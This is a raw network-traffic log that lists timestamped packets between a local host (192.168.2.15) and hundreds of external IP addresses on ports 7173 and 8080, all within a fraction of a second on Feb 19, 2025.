Feb 19, 2025 19:48:54.988126993 CET	8080	7173	62.210.184.69	192.168.2.15
Feb 19, 2025 19:48:54.988131046 CET	7173	8080	192.168.2.15	94.90.3.221
Feb 19, 2025 19:48:54.988136053 CET	8080	7173	31.125.98.207	192.168.2.15
Feb 19, 2025 19:48:54.988142967 CET	7173	8080	192.168.2.15	62.212.184.130
Feb 19, 2025 19:48:54.988146067 CET	8080	7173	94.134.29.121	192.168.2.15
Feb 19, 2025 19:48:54.988153934 CET	7173	8080	192.168.2.15	31.245.190.212
Feb 19, 2025 19:48:54.988153934 CET	7173	8080	192.168.2.15	85.87.112.175
Feb 19, 2025 19:48:54.988153934 CET	7173	8080	192.168.2.15	85.172.113.54
Feb 19, 2025 19:48:54.988154888 CET	8080	7173	85.110.74.103	192.168.2.15
Feb 19, 2025 19:48:54.988159895 CET	7173	8080	192.168.2.15	95.119.185.174
Feb 19, 2025 19:48:54.988163948 CET	7173	8080	192.168.2.15	62.210.184.69
Feb 19, 2025 19:48:54.988166094 CET	8080	7173	62.19.183.203	192.168.2.15
Feb 19, 2025 19:48:54.988168001 CET	7173	8080	192.168.2.15	94.134.29.121
Feb 19, 2025 19:48:54.988173008 CET	7173	8080	192.168.2.15	31.125.98.207
Feb 19, 2025 19:48:54.988177061 CET	8080	7173	31.95.143.49	192.168.2.15
Feb 19, 2025 19:48:54.988192081 CET	7173	8080	192.168.2.15	85.110.74.103
Feb 19, 2025 19:48:54.988193035 CET	7173	8080	192.168.2.15	62.19.183.203
Feb 19, 2025 19:48:54.988195896 CET	8080	7173	62.162.46.229	192.168.2.15
Feb 19, 2025 19:48:54.988204002 CET	7173	8080	192.168.2.15	31.95.143.49
Feb 19, 2025 19:48:54.988204956 CET	7173	8080	192.168.2.15	62.184.73.136
Feb 19, 2025 19:48:54.988207102 CET	8080	7173	31.136.102.121	192.168.2.15
Feb 19, 2025 19:48:54.988209009 CET	7173	8080	192.168.2.15	62.65.175.102
Feb 19, 2025 19:48:54.988219023 CET	8080	7173	95.123.110.62	192.168.2.15
Feb 19, 2025 19:48:54.988219023 CET	7173	8080	192.168.2.15	62.162.46.229
Feb 19, 2025 19:48:54.988229036 CET	8080	7173	94.128.200.177	192.168.2.15
Feb 19, 2025 19:48:54.988234043 CET	7173	8080	192.168.2.15	31.136.102.121
Feb 19, 2025 19:48:54.988238096 CET	8080	7173	31.35.9.95	192.168.2.15
Feb 19, 2025 19:48:54.988245010 CET	7173	8080	192.168.2.15	95.123.110.62
Feb 19, 2025 19:48:54.988248110 CET	7173	8080	192.168.2.15	94.128.200.177
Feb 19, 2025 19:48:54.988248110 CET	8080	7173	85.156.250.94	192.168.2.15
Feb 19, 2025 19:48:54.988259077 CET	8080	7173	62.241.235.213	192.168.2.15
Feb 19, 2025 19:48:54.988265991 CET	7173	8080	192.168.2.15	31.35.9.95
Feb 19, 2025 19:48:54.988267899 CET	8080	7173	95.10.220.216	192.168.2.15
Feb 19, 2025 19:48:54.988276005 CET	7173	8080	192.168.2.15	31.218.83.0
Feb 19, 2025 19:48:54.988276958 CET	8080	7173	94.191.128.241	192.168.2.15
Feb 19, 2025 19:48:54.988281965 CET	7173	8080	192.168.2.15	85.156.250.94
Feb 19, 2025 19:48:54.988284111 CET	7173	8080	192.168.2.15	62.241.235.213
Feb 19, 2025 19:48:54.988287926 CET	8080	7173	85.139.42.16	192.168.2.15
Feb 19, 2025 19:48:54.988293886 CET	7173	8080	192.168.2.15	95.10.220.216
Feb 19, 2025 19:48:54.988297939 CET	8080	7173	31.113.54.44	192.168.2.15
Feb 19, 2025 19:48:54.988297939 CET	7173	8080	192.168.2.15	94.191.128.241
Feb 19, 2025 19:48:54.988306999 CET	8080	7173	94.136.6.181	192.168.2.15
Feb 19, 2025 19:48:54.988317013 CET	8080	7173	95.76.253.23	192.168.2.15
Feb 19, 2025 19:48:54.988317013 CET	7173	8080	192.168.2.15	85.139.42.16
Feb 19, 2025 19:48:54.988326073 CET	8080	7173	95.215.69.245	192.168.2.15
Feb 19, 2025 19:48:54.988332987 CET	7173	8080	192.168.2.15	31.113.54.44
Feb 19, 2025 19:48:54.988346100 CET	7173	8080	192.168.2.15	94.136.6.181
Feb 19, 2025 19:48:54.988349915 CET	7173	8080	192.168.2.15	95.76.253.23
Feb 19, 2025 19:48:54.988359928 CET	7173	8080	192.168.2.15	95.215.69.245
Feb 19, 2025 19:48:54.988368988 CET	7173	8080	192.168.2.15	62.117.130.180
Feb 19, 2025 19:48:54.988411903 CET	7173	8080	192.168.2.15	85.70.8.98
Feb 19, 2025 19:48:54.988429070 CET	7173	8080	192.168.2.15	62.166.187.99
Feb 19, 2025 19:48:54.988432884 CET	7173	8080	192.168.2.15	85.41.125.132
Feb 19, 2025 19:48:54.988445044 CET	7173	8080	192.168.2.15	95.102.194.101
Feb 19, 2025 19:48:54.988449097 CET	7173	8080	192.168.2.15	94.173.124.234
Feb 19, 2025 19:48:54.988495111 CET	7173	8080	192.168.2.15	95.53.155.242
Feb 19, 2025 19:48:54.988507032 CET	7173	8080	192.168.2.15	62.164.118.40
Feb 19, 2025 19:48:54.988548994 CET	7173	8080	192.168.2.15	94.247.5.16
Feb 19, 2025 19:48:54.988563061 CET	7173	8080	192.168.2.15	31.142.172.105
Feb 19, 2025 19:48:54.988565922 CET	7173	8080	192.168.2.15	31.100.103.107
Feb 19, 2025 19:48:54.988620996 CET	7173	8080	192.168.2.15	31.32.211.130
Feb 19, 2025 19:48:54.988622904 CET	7173	8080	192.168.2.15	85.145.127.136
Feb 19, 2025 19:48:54.988637924 CET	7173	8080	192.168.2.15	94.248.168.203
Feb 19, 2025 19:48:54.988660097 CET	8080	7173	95.145.134.115	192.168.2.15
Feb 19, 2025 19:48:54.988666058 CET	7173	8080	192.168.2.15	85.171.176.62
Feb 19, 2025 19:48:54.988667011 CET	7173	8080	192.168.2.15	62.74.120.8
Feb 19, 2025 19:48:54.988671064 CET	8080	7173	95.92.254.202	192.168.2.15
Feb 19, 2025 19:48:54.988676071 CET	7173	8080	192.168.2.15	62.102.88.57
Feb 19, 2025 19:48:54.988681078 CET	8080	7173	62.123.33.37	192.168.2.15
Feb 19, 2025 19:48:54.988688946 CET	7173	8080	192.168.2.15	95.39.22.245
Feb 19, 2025 19:48:54.988691092 CET	8080	7173	95.68.106.195	192.168.2.15
Feb 19, 2025 19:48:54.988692999 CET	7173	8080	192.168.2.15	95.145.134.115
Feb 19, 2025 19:48:54.988702059 CET	8080	7173	85.199.118.235	192.168.2.15
Feb 19, 2025 19:48:54.988703012 CET	7173	8080	192.168.2.15	95.92.254.202
Feb 19, 2025 19:48:54.988707066 CET	7173	8080	192.168.2.15	62.123.33.37
Feb 19, 2025 19:48:54.988714933 CET	8080	7173	62.239.179.224	192.168.2.15
Feb 19, 2025 19:48:54.988718987 CET	8080	7173	85.2.96.101	192.168.2.15
Feb 19, 2025 19:48:54.988722086 CET	7173	8080	192.168.2.15	95.68.106.195
Feb 19, 2025 19:48:54.988723040 CET	7173	8080	192.168.2.15	31.181.130.125
Feb 19, 2025 19:48:54.988723040 CET	7173	8080	192.168.2.15	85.121.238.213
Feb 19, 2025 19:48:54.988725901 CET	7173	8080	192.168.2.15	31.222.239.22
Feb 19, 2025 19:48:54.988738060 CET	7173	8080	192.168.2.15	85.33.229.222
Feb 19, 2025 19:48:54.988744020 CET	7173	8080	192.168.2.15	85.137.225.231
Feb 19, 2025 19:48:54.988756895 CET	7173	8080	192.168.2.15	85.199.118.235
Feb 19, 2025 19:48:54.988756895 CET	7173	8080	192.168.2.15	85.2.96.101
Feb 19, 2025 19:48:54.988759041 CET	7173	8080	192.168.2.15	62.239.179.224
Feb 19, 2025 19:48:54.988760948 CET	7173	8080	192.168.2.15	62.163.213.169
Feb 19, 2025 19:48:54.988775969 CET	7173	8080	192.168.2.15	31.100.186.6
Feb 19, 2025 19:48:54.988780975 CET	7173	8080	192.168.2.15	94.81.204.238
Feb 19, 2025 19:48:54.988791943 CET	7173	8080	192.168.2.15	62.69.157.35
Feb 19, 2025 19:48:54.988794088 CET	8080	7173	95.131.113.59	192.168.2.15
Feb 19, 2025 19:48:54.988799095 CET	7173	8080	192.168.2.15	94.80.132.92
Feb 19, 2025 19:48:54.988805056 CET	8080	7173	95.50.21.252	192.168.2.15
Feb 19, 2025 19:48:54.988811970 CET	7173	8080	192.168.2.15	95.26.100.234
Feb 19, 2025 19:48:54.988815069 CET	8080	7173	95.83.28.13	192.168.2.15
Feb 19, 2025 19:48:54.988823891 CET	7173	8080	192.168.2.15	94.65.90.22
Feb 19, 2025 19:48:54.988823891 CET	7173	8080	192.168.2.15	95.131.113.59
Feb 19, 2025 19:48:54.988825083 CET	8080	7173	95.50.78.220	192.168.2.15
Feb 19, 2025 19:48:54.988835096 CET	8080	7173	62.35.254.141	192.168.2.15
Feb 19, 2025 19:48:54.988835096 CET	7173	8080	192.168.2.15	95.50.21.252
Feb 19, 2025 19:48:54.988837004 CET	7173	8080	192.168.2.15	95.84.105.40
Feb 19, 2025 19:48:54.988842010 CET	7173	8080	192.168.2.15	95.83.28.13
Feb 19, 2025 19:48:54.988843918 CET	8080	7173	94.99.142.92	192.168.2.15
Feb 19, 2025 19:48:54.988852024 CET	7173	8080	192.168.2.15	95.50.78.220
Feb 19, 2025 19:48:54.988856077 CET	8080	7173	85.3.204.244	192.168.2.15
Feb 19, 2025 19:48:54.988866091 CET	8080	7173	95.83.221.236	192.168.2.15
Feb 19, 2025 19:48:54.988868952 CET	7173	8080	192.168.2.15	62.35.254.141
Feb 19, 2025 19:48:54.988873959 CET	7173	8080	192.168.2.15	94.99.142.92
Feb 19, 2025 19:48:54.988882065 CET	7173	8080	192.168.2.15	85.3.204.244
Feb 19, 2025 19:48:54.988883018 CET	8080	7173	95.168.189.176	192.168.2.15
Feb 19, 2025 19:48:54.988893032 CET	8080	7173	95.182.108.116	192.168.2.15
Feb 19, 2025 19:48:54.988893032 CET	7173	8080	192.168.2.15	85.13.181.153
Feb 19, 2025 19:48:54.988893986 CET	7173	8080	192.168.2.15	95.83.221.236
Feb 19, 2025 19:48:54.988903999 CET	8080	7173	85.20.65.148	192.168.2.15
Feb 19, 2025 19:48:54.988904953 CET	7173	8080	192.168.2.15	95.168.189.176
Feb 19, 2025 19:48:54.988913059 CET	8080	7173	31.202.250.224	192.168.2.15
Feb 19, 2025 19:48:54.988920927 CET	7173	8080	192.168.2.15	95.182.108.116
Feb 19, 2025 19:48:54.988922119 CET	8080	7173	31.212.93.228	192.168.2.15
Feb 19, 2025 19:48:54.988925934 CET	7173	8080	192.168.2.15	85.20.65.148
Feb 19, 2025 19:48:54.988931894 CET	8080	7173	62.163.208.214	192.168.2.15
Feb 19, 2025 19:48:54.988940954 CET	8080	7173	85.165.227.17	192.168.2.15
Feb 19, 2025 19:48:54.988943100 CET	7173	8080	192.168.2.15	31.202.250.224
Feb 19, 2025 19:48:54.988950014 CET	8080	7173	95.115.53.191	192.168.2.15
Feb 19, 2025 19:48:54.988955021 CET	7173	8080	192.168.2.15	62.163.208.214
Feb 19, 2025 19:48:54.988960981 CET	8080	7173	94.101.147.240	192.168.2.15
Feb 19, 2025 19:48:54.988964081 CET	7173	8080	192.168.2.15	85.165.227.17
Feb 19, 2025 19:48:54.988965988 CET	7173	8080	192.168.2.15	31.212.93.228
Feb 19, 2025 19:48:54.988979101 CET	7173	8080	192.168.2.15	95.115.53.191
Feb 19, 2025 19:48:54.988984108 CET	8080	7173	95.131.49.97	192.168.2.15
Feb 19, 2025 19:48:54.988990068 CET	7173	8080	192.168.2.15	94.101.147.240
Feb 19, 2025 19:48:54.989002943 CET	8080	7173	94.194.200.91	192.168.2.15
Feb 19, 2025 19:48:54.989005089 CET	7173	8080	192.168.2.15	95.131.49.97
Feb 19, 2025 19:48:54.989008904 CET	7173	8080	192.168.2.15	85.174.38.144
Feb 19, 2025 19:48:54.989008904 CET	7173	8080	192.168.2.15	62.229.67.198
Feb 19, 2025 19:48:54.989012957 CET	8080	7173	85.201.80.111	192.168.2.15
Feb 19, 2025 19:48:54.989022970 CET	8080	7173	31.153.171.72	192.168.2.15
Feb 19, 2025 19:48:54.989022970 CET	7173	8080	192.168.2.15	94.240.14.230
Feb 19, 2025 19:48:54.989036083 CET	7173	8080	192.168.2.15	94.194.200.91
Feb 19, 2025 19:48:54.989044905 CET	7173	8080	192.168.2.15	85.201.80.111
Feb 19, 2025 19:48:54.989048004 CET	7173	8080	192.168.2.15	31.153.171.72
Feb 19, 2025 19:48:54.989063025 CET	7173	8080	192.168.2.15	85.154.23.28
Feb 19, 2025 19:48:54.989073992 CET	7173	8080	192.168.2.15	62.13.12.76
Feb 19, 2025 19:48:54.989080906 CET	7173	8080	192.168.2.15	94.120.146.82
Feb 19, 2025 19:48:54.989090919 CET	7173	8080	192.168.2.15	94.156.103.152
Feb 19, 2025 19:48:54.989104033 CET	7173	8080	192.168.2.15	85.171.4.36
Feb 19, 2025 19:48:54.989115953 CET	7173	8080	192.168.2.15	85.56.159.74
Feb 19, 2025 19:48:54.989120007 CET	7173	8080	192.168.2.15	95.86.98.52
Feb 19, 2025 19:48:54.989132881 CET	7173	8080	192.168.2.15	95.15.79.159
Feb 19, 2025 19:48:54.989145994 CET	7173	8080	192.168.2.15	95.37.200.101
Feb 19, 2025 19:48:54.989154100 CET	7173	8080	192.168.2.15	94.246.255.212
Feb 19, 2025 19:48:54.989168882 CET	7173	8080	192.168.2.15	31.35.111.110
Feb 19, 2025 19:48:54.989207029 CET	7173	8080	192.168.2.15	31.10.138.134
Feb 19, 2025 19:48:54.989218950 CET	7173	8080	192.168.2.15	31.152.138.76
Feb 19, 2025 19:48:54.989259005 CET	7173	8080	192.168.2.15	31.200.93.216
Feb 19, 2025 19:48:54.989268064 CET	7173	8080	192.168.2.15	94.84.175.128
Feb 19, 2025 19:48:54.989279985 CET	7173	8080	192.168.2.15	95.45.159.254
Feb 19, 2025 19:48:54.989320993 CET	7173	8080	192.168.2.15	85.39.144.116
Feb 19, 2025 19:48:54.989332914 CET	7173	8080	192.168.2.15	62.170.69.173
Feb 19, 2025 19:48:54.989343882 CET	7173	8080	192.168.2.15	95.178.180.218
Feb 19, 2025 19:48:54.989379883 CET	7173	8080	192.168.2.15	62.4.126.113
Feb 19, 2025 19:48:54.989387035 CET	7173	8080	192.168.2.15	95.123.108.74
Feb 19, 2025 19:48:54.989408016 CET	8080	7173	94.31.191.98	192.168.2.15
Feb 19, 2025 19:48:54.989417076 CET	7173	8080	192.168.2.15	95.199.216.78
Feb 19, 2025 19:48:54.989418030 CET	8080	7173	85.78.178.154	192.168.2.15
Feb 19, 2025 19:48:54.989422083 CET	7173	8080	192.168.2.15	85.132.44.141
Feb 19, 2025 19:48:54.989428043 CET	8080	7173	94.172.103.69	192.168.2.15
Feb 19, 2025 19:48:54.989437103 CET	8080	7173	94.237.52.19	192.168.2.15
Feb 19, 2025 19:48:54.989437103 CET	7173	8080	192.168.2.15	94.31.191.98
Feb 19, 2025 19:48:54.989444017 CET	7173	8080	192.168.2.15	85.78.178.154
Feb 19, 2025 19:48:54.989448071 CET	8080	7173	85.85.77.75	192.168.2.15
Feb 19, 2025 19:48:54.989458084 CET	8080	7173	85.76.172.236	192.168.2.15
Feb 19, 2025 19:48:54.989459038 CET	7173	8080	192.168.2.15	94.172.103.69
Feb 19, 2025 19:48:54.989459991 CET	7173	8080	192.168.2.15	85.67.233.250
Feb 19, 2025 19:48:54.989461899 CET	7173	8080	192.168.2.15	95.59.118.85
Feb 19, 2025 19:48:54.989465952 CET	7173	8080	192.168.2.15	94.237.52.19
Feb 19, 2025 19:48:54.989475965 CET	7173	8080	192.168.2.15	85.85.77.75
Feb 19, 2025 19:48:54.989485979 CET	8080	7173	62.147.56.78	192.168.2.15
Feb 19, 2025 19:48:54.989492893 CET	7173	8080	192.168.2.15	85.76.172.236
Feb 19, 2025 19:48:54.989496946 CET	8080	7173	85.45.182.163	192.168.2.15
Feb 19, 2025 19:48:54.989506006 CET	8080	7173	31.223.155.128	192.168.2.15
Feb 19, 2025 19:48:54.989516020 CET	8080	7173	31.164.172.8	192.168.2.15
Feb 19, 2025 19:48:54.989521027 CET	7173	8080	192.168.2.15	62.147.56.78
Feb 19, 2025 19:48:54.989525080 CET	8080	7173	85.9.75.200	192.168.2.15
Feb 19, 2025 19:48:54.989526987 CET	7173	8080	192.168.2.15	85.45.182.163
Feb 19, 2025 19:48:54.989537001 CET	7173	8080	192.168.2.15	31.223.155.128
Feb 19, 2025 19:48:54.989542007 CET	8080	7173	31.101.221.153	192.168.2.15
Feb 19, 2025 19:48:54.989542961 CET	7173	8080	192.168.2.15	31.164.172.8
Feb 19, 2025 19:48:54.989552021 CET	8080	7173	31.193.192.65	192.168.2.15
Feb 19, 2025 19:48:54.989557028 CET	7173	8080	192.168.2.15	85.9.75.200
Feb 19, 2025 19:48:54.989561081 CET	8080	7173	94.192.234.52	192.168.2.15
Feb 19, 2025 19:48:54.989569902 CET	7173	8080	192.168.2.15	31.101.221.153
Feb 19, 2025 19:48:54.989587069 CET	7173	8080	192.168.2.15	31.193.192.65
Feb 19, 2025 19:48:54.989594936 CET	7173	8080	192.168.2.15	94.192.234.52
Feb 19, 2025 19:48:54.989602089 CET	7173	8080	192.168.2.15	85.47.229.96
Feb 19, 2025 19:48:54.989631891 CET	7173	8080	192.168.2.15	31.203.82.108
Feb 19, 2025 19:48:54.989650011 CET	7173	8080	192.168.2.15	31.106.147.127
Feb 19, 2025 19:48:54.989655972 CET	7173	8080	192.168.2.15	94.46.1.244
Feb 19, 2025 19:48:54.989672899 CET	7173	8080	192.168.2.15	95.156.198.187
Feb 19, 2025 19:48:54.989679098 CET	8080	7173	85.32.240.4	192.168.2.15
Feb 19, 2025 19:48:54.989690065 CET	8080	7173	95.94.114.245	192.168.2.15
Feb 19, 2025 19:48:54.989706993 CET	8080	7173	62.148.179.70	192.168.2.15
Feb 19, 2025 19:48:54.989716053 CET	7173	8080	192.168.2.15	85.225.50.7
Feb 19, 2025 19:48:54.989716053 CET	7173	8080	192.168.2.15	95.94.114.245
Feb 19, 2025 19:48:54.989717007 CET	8080	7173	31.23.217.91	192.168.2.15
Feb 19, 2025 19:48:54.989717007 CET	7173	8080	192.168.2.15	85.32.240.4
Feb 19, 2025 19:48:54.989720106 CET	7173	8080	192.168.2.15	94.193.24.213
Feb 19, 2025 19:48:54.989726067 CET	8080	7173	95.83.225.69	192.168.2.15
Feb 19, 2025 19:48:54.989728928 CET	7173	8080	192.168.2.15	31.228.136.105
Feb 19, 2025 19:48:54.989736080 CET	8080	7173	85.172.95.161	192.168.2.15
Feb 19, 2025 19:48:54.989742994 CET	7173	8080	192.168.2.15	62.148.179.70
Feb 19, 2025 19:48:54.989742994 CET	7173	8080	192.168.2.15	31.23.217.91
Feb 19, 2025 19:48:54.989746094 CET	8080	7173	95.49.127.5	192.168.2.15
Feb 19, 2025 19:48:54.989756107 CET	8080	7173	62.80.66.180	192.168.2.15
Feb 19, 2025 19:48:54.989758015 CET	7173	8080	192.168.2.15	95.83.225.69
Feb 19, 2025 19:48:54.989765882 CET	8080	7173	95.215.215.241	192.168.2.15
Feb 19, 2025 19:48:54.989768028 CET	7173	8080	192.168.2.15	85.172.95.161
Feb 19, 2025 19:48:54.989774942 CET	7173	8080	192.168.2.15	95.49.127.5
Feb 19, 2025 19:48:54.989775896 CET	8080	7173	94.3.1.161	192.168.2.15
Feb 19, 2025 19:48:54.989780903 CET	7173	8080	192.168.2.15	62.80.66.180
Feb 19, 2025 19:48:54.989787102 CET	8080	7173	31.153.20.36	192.168.2.15
Feb 19, 2025 19:48:54.989789009 CET	7173	8080	192.168.2.15	85.59.45.168
Feb 19, 2025 19:48:54.989793062 CET	7173	8080	192.168.2.15	95.215.215.241
Feb 19, 2025 19:48:54.989797115 CET	7173	8080	192.168.2.15	31.75.103.99
Feb 19, 2025 19:48:54.989801884 CET	7173	8080	192.168.2.15	94.3.1.161
Feb 19, 2025 19:48:54.989803076 CET	8080	7173	62.1.231.184	192.168.2.15
Feb 19, 2025 19:48:54.989814043 CET	7173	8080	192.168.2.15	31.153.20.36
Feb 19, 2025 19:48:54.989814043 CET	8080	7173	94.134.160.220	192.168.2.15
Feb 19, 2025 19:48:54.989823103 CET	8080	7173	94.132.120.195	192.168.2.15
Feb 19, 2025 19:48:54.989831924 CET	7173	8080	192.168.2.15	62.1.231.184
Feb 19, 2025 19:48:54.989840031 CET	7173	8080	192.168.2.15	94.134.160.220
Feb 19, 2025 19:48:54.989847898 CET	7173	8080	192.168.2.15	94.132.120.195
Feb 19, 2025 19:48:54.989850998 CET	7173	8080	192.168.2.15	62.167.220.75
Feb 19, 2025 19:48:54.989861965 CET	7173	8080	192.168.2.15	94.160.236.113
Feb 19, 2025 19:48:54.989877939 CET	7173	8080	192.168.2.15	31.240.121.105
Feb 19, 2025 19:48:54.989913940 CET	7173	8080	192.168.2.15	62.56.174.135
Feb 19, 2025 19:48:54.989924908 CET	7173	8080	192.168.2.15	95.125.255.34
Feb 19, 2025 19:48:54.989937067 CET	7173	8080	192.168.2.15	95.85.152.48
Feb 19, 2025 19:48:54.989948988 CET	7173	8080	192.168.2.15	95.152.34.189
Feb 19, 2025 19:48:54.989959002 CET	7173	8080	192.168.2.15	95.255.70.36
Feb 19, 2025 19:48:54.989970922 CET	7173	8080	192.168.2.15	94.143.13.229
Feb 19, 2025 19:48:54.989981890 CET	7173	8080	192.168.2.15	62.252.18.0
Feb 19, 2025 19:48:54.989995956 CET	7173	8080	192.168.2.15	94.126.187.137
Feb 19, 2025 19:48:54.990008116 CET	7173	8080	192.168.2.15	95.149.173.241
Feb 19, 2025 19:48:54.990017891 CET	7173	8080	192.168.2.15	31.180.222.75
Feb 19, 2025 19:48:54.990031958 CET	7173	8080	192.168.2.15	62.219.235.154
Feb 19, 2025 19:48:54.990039110 CET	7173	8080	192.168.2.15	95.36.153.78
Feb 19, 2025 19:48:54.990056992 CET	7173	8080	192.168.2.15	94.109.45.218
Feb 19, 2025 19:48:54.990065098 CET	7173	8080	192.168.2.15	94.239.250.117
Feb 19, 2025 19:48:54.990072012 CET	7173	8080	192.168.2.15	95.168.98.20
Feb 19, 2025 19:48:54.990087032 CET	7173	8080	192.168.2.15	94.182.65.47
Feb 19, 2025 19:48:54.990087986 CET	7173	8080	192.168.2.15	85.33.244.190
Feb 19, 2025 19:48:54.990102053 CET	7173	8080	192.168.2.15	62.159.23.23
Feb 19, 2025 19:48:54.990127087 CET	7173	8080	192.168.2.15	94.230.60.163
Feb 19, 2025 19:48:54.990127087 CET	7173	8080	192.168.2.15	62.71.67.22
Feb 19, 2025 19:48:54.990133047 CET	7173	8080	192.168.2.15	95.129.195.176
Feb 19, 2025 19:48:54.990135908 CET	7173	8080	192.168.2.15	95.155.4.210
Feb 19, 2025 19:48:54.990139961 CET	7173	8080	192.168.2.15	85.125.130.86
Feb 19, 2025 19:48:54.990144014 CET	7173	8080	192.168.2.15	85.156.237.40
Feb 19, 2025 19:48:54.990155935 CET	7173	8080	192.168.2.15	62.113.86.249
Feb 19, 2025 19:48:54.990166903 CET	7173	8080	192.168.2.15	94.40.59.164
Feb 19, 2025 19:48:54.990180016 CET	7173	8080	192.168.2.15	94.56.63.43
Feb 19, 2025 19:48:54.990187883 CET	7173	8080	192.168.2.15	95.24.18.53
Feb 19, 2025 19:48:54.990200043 CET	7173	8080	192.168.2.15	95.121.222.10
Feb 19, 2025 19:48:54.990210056 CET	7173	8080	192.168.2.15	94.158.204.83
Feb 19, 2025 19:48:54.990259886 CET	7173	8080	192.168.2.15	62.46.45.228
Feb 19, 2025 19:48:54.990303040 CET	7173	8080	192.168.2.15	94.5.57.35
Feb 19, 2025 19:48:54.990309000 CET	7173	8080	192.168.2.15	85.192.178.136
Feb 19, 2025 19:48:54.990339994 CET	7173	8080	192.168.2.15	85.102.252.229
Feb 19, 2025 19:48:54.990413904 CET	7173	8080	192.168.2.15	94.155.236.213
Feb 19, 2025 19:48:54.990432024 CET	7173	8080	192.168.2.15	31.106.8.61
Feb 19, 2025 19:48:54.990434885 CET	7173	8080	192.168.2.15	62.171.81.89
Feb 19, 2025 19:48:54.990444899 CET	7173	8080	192.168.2.15	95.163.12.145
Feb 19, 2025 19:48:54.990462065 CET	7173	8080	192.168.2.15	31.50.1.62
Feb 19, 2025 19:48:54.990497112 CET	7173	8080	192.168.2.15	62.31.84.70
Feb 19, 2025 19:48:54.990504026 CET	7173	8080	192.168.2.15	62.46.143.82
Feb 19, 2025 19:48:54.990511894 CET	7173	8080	192.168.2.15	94.86.220.148
Feb 19, 2025 19:48:54.990550995 CET	7173	8080	192.168.2.15	94.210.234.26
Feb 19, 2025 19:48:54.990565062 CET	7173	8080	192.168.2.15	62.181.222.16
Feb 19, 2025 19:48:54.990566969 CET	7173	8080	192.168.2.15	94.181.4.63
Feb 19, 2025 19:48:54.990583897 CET	7173	8080	192.168.2.15	94.64.209.199
Feb 19, 2025 19:48:54.990607023 CET	8080	7173	62.219.246.187	192.168.2.15
Feb 19, 2025 19:48:54.990617037 CET	7173	8080	192.168.2.15	95.5.235.231
Feb 19, 2025 19:48:54.990617990 CET	8080	7173	62.163.86.202	192.168.2.15
Feb 19, 2025 19:48:54.990623951 CET	7173	8080	192.168.2.15	62.163.188.191
Feb 19, 2025 19:48:54.990628004 CET	8080	7173	94.253.7.93	192.168.2.15
Feb 19, 2025 19:48:54.990638018 CET	7173	8080	192.168.2.15	62.219.246.187
Feb 19, 2025 19:48:54.990638971 CET	8080	7173	95.161.30.84	192.168.2.15
Feb 19, 2025 19:48:54.990648985 CET	8080	7173	94.95.74.154	192.168.2.15
Feb 19, 2025 19:48:54.990649939 CET	7173	8080	192.168.2.15	31.196.208.0
Feb 19, 2025 19:48:54.990655899 CET	7173	8080	192.168.2.15	62.163.86.202
Feb 19, 2025 19:48:54.990659952 CET	8080	7173	94.90.38.95	192.168.2.15
Feb 19, 2025 19:48:54.990667105 CET	7173	8080	192.168.2.15	94.253.7.93
Feb 19, 2025 19:48:54.990668058 CET	7173	8080	192.168.2.15	95.161.30.84
Feb 19, 2025 19:48:54.990669966 CET	8080	7173	62.210.92.251	192.168.2.15
Feb 19, 2025 19:48:54.990678072 CET	7173	8080	192.168.2.15	94.95.74.154
Feb 19, 2025 19:48:54.990685940 CET	8080	7173	85.252.103.38	192.168.2.15
Feb 19, 2025 19:48:54.990690947 CET	7173	8080	192.168.2.15	94.90.38.95
Feb 19, 2025 19:48:54.990691900 CET	8080	7173	62.252.219.41	192.168.2.15
Feb 19, 2025 19:48:54.990696907 CET	8080	7173	31.230.89.169	192.168.2.15
Feb 19, 2025 19:48:54.990696907 CET	7173	8080	192.168.2.15	62.210.92.251
Feb 19, 2025 19:48:54.990699053 CET	8080	7173	94.82.31.23	192.168.2.15
Feb 19, 2025 19:48:54.990705967 CET	8080	7173	95.241.196.243	192.168.2.15
Feb 19, 2025 19:48:54.990712881 CET	7173	8080	192.168.2.15	85.252.103.38
Feb 19, 2025 19:48:54.990715027 CET	7173	8080	192.168.2.15	31.130.221.186
Feb 19, 2025 19:48:54.990719080 CET	7173	8080	192.168.2.15	62.252.219.41
Feb 19, 2025 19:48:54.990724087 CET	7173	8080	192.168.2.15	31.230.89.169
Feb 19, 2025 19:48:54.990730047 CET	7173	8080	192.168.2.15	94.82.31.23
Feb 19, 2025 19:48:54.990736008 CET	7173	8080	192.168.2.15	95.241.196.243
Feb 19, 2025 19:48:54.990762949 CET	7173	8080	192.168.2.15	62.48.55.232
Feb 19, 2025 19:48:54.990775108 CET	7173	8080	192.168.2.15	85.32.190.77
Feb 19, 2025 19:48:54.990782976 CET	7173	8080	192.168.2.15	62.209.119.96
Feb 19, 2025 19:48:54.990787983 CET	7173	8080	192.168.2.15	94.55.45.90
Feb 19, 2025 19:48:54.990808010 CET	7173	8080	192.168.2.15	85.215.88.248
Feb 19, 2025 19:48:54.990840912 CET	7173	8080	192.168.2.15	31.224.12.50
Feb 19, 2025 19:48:54.990843058 CET	8080	7173	62.44.207.64	192.168.2.15
Feb 19, 2025 19:48:54.990853071 CET	7173	8080	192.168.2.15	31.57.4.166
Feb 19, 2025 19:48:54.990854025 CET	8080	7173	31.132.126.172	192.168.2.15
Feb 19, 2025 19:48:54.990863085 CET	8080	7173	95.130.225.91	192.168.2.15
Feb 19, 2025 19:48:54.990864992 CET	7173	8080	192.168.2.15	85.15.86.190
Feb 19, 2025 19:48:54.990873098 CET	8080	7173	85.133.24.192	192.168.2.15
Feb 19, 2025 19:48:54.990881920 CET	7173	8080	192.168.2.15	31.132.126.172
Feb 19, 2025 19:48:54.990883112 CET	8080	7173	31.183.208.112	192.168.2.15
Feb 19, 2025 19:48:54.990883112 CET	7173	8080	192.168.2.15	94.212.41.152
Feb 19, 2025 19:48:54.990883112 CET	7173	8080	192.168.2.15	62.44.207.64
Feb 19, 2025 19:48:54.990895987 CET	7173	8080	192.168.2.15	85.133.24.192
Feb 19, 2025 19:48:54.990896940 CET	7173	8080	192.168.2.15	95.126.195.173
Feb 19, 2025 19:48:54.990900040 CET	8080	7173	31.32.180.63	192.168.2.15
Feb 19, 2025 19:48:54.990905046 CET	7173	8080	192.168.2.15	95.130.225.91
Feb 19, 2025 19:48:54.990905046 CET	7173	8080	192.168.2.15	95.244.162.99
Feb 19, 2025 19:48:54.990906000 CET	7173	8080	192.168.2.15	31.198.166.111
Feb 19, 2025 19:48:54.990906000 CET	7173	8080	192.168.2.15	94.234.70.69
Feb 19, 2025 19:48:54.990910053 CET	7173	8080	192.168.2.15	31.183.208.112
Feb 19, 2025 19:48:54.990911007 CET	8080	7173	85.163.230.70	192.168.2.15
